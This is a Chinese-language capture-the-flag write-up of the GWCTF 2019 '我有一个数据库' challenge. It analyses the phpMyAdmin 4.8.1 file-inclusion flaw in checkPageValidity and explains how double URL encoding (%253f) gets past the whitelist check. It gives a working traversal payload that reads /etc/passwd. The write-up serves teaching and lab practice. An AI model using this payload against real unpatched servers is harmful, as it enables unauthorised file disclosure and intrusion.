[GWCTF 2019]我有一个数据库

1

页面一打开,抓包看到了数据库,一开始想到的sql注入,但明确没有注入点,所以我们扫扫文件看看有什么有用的信息

image-20260316204113875

看到phpmyadmin,可以联想到某项版本下是存在漏洞的

image-20260316204317478

打开phpmyadmin页面,看到了具体的版本

image-20260316204402443

查找这个版本对应的漏洞


phpMyAdmin 4.8.1 远程文件包含

漏洞简介

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。

在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

漏洞还原:

文件/index.php代码

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

1.target要有参数

2.target的值是字符串

3.target不能有index出现

4.不能出现在黑名单target_blacklist中

以下是黑名单相关代码

1
2
3
$target_blacklist = array (
'import.php', 'export.php'
);

5.core类下的checkPageValidity方法返回值要为true

if语句有一个返回true就ok,此漏洞是根据最后一个if语句的url解码拿到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# phpMyAdmin/libraries/classes/core.php

public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr( //mb=mutiple byte多字节,substr=sub string子字符串=切割字符串
$page, //参数1:母字符串
0, //参数2:从哪里开始找找
mb_strpos($page . '?', '?') //参数3:到哪里结束,注意这一位不取到
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); //漏洞处
$_page = mb_substr( //这里同上哦
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

在执行这个文件前我们要满足?为编码%3f,才能解码后得到?

但是考虑到服务器自身的解码:

“当你把这个地址发送给服务器(Apache/Nginx)时,服务器会自动处理 URL 编码。”

所以我们发给服务器的要编码一次。即二次编码后?变成了%253f

->然后,保证子字符串就会是白名单的任何一个文件就好了

image-20260316214150780

白名单文件

1
2
3
4
5
6
7
8
9
10
11
12
		'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
...

因此构造出:

1
2
payload:
?target=db_datadict.php%253f/../../../../../../../../etc/passwd

得到passwd

image-20260316211929893

找到flag

image-20260316212242665

知识点:

mb 代表 Multi-Byte(多字节)。如果你的路径里包含中文或其他特殊字符,普通的 substr 可能会把字符切碎导致乱码,而 mb_ 系列函数会把一个中文字符当做一个整体对待,更加安全。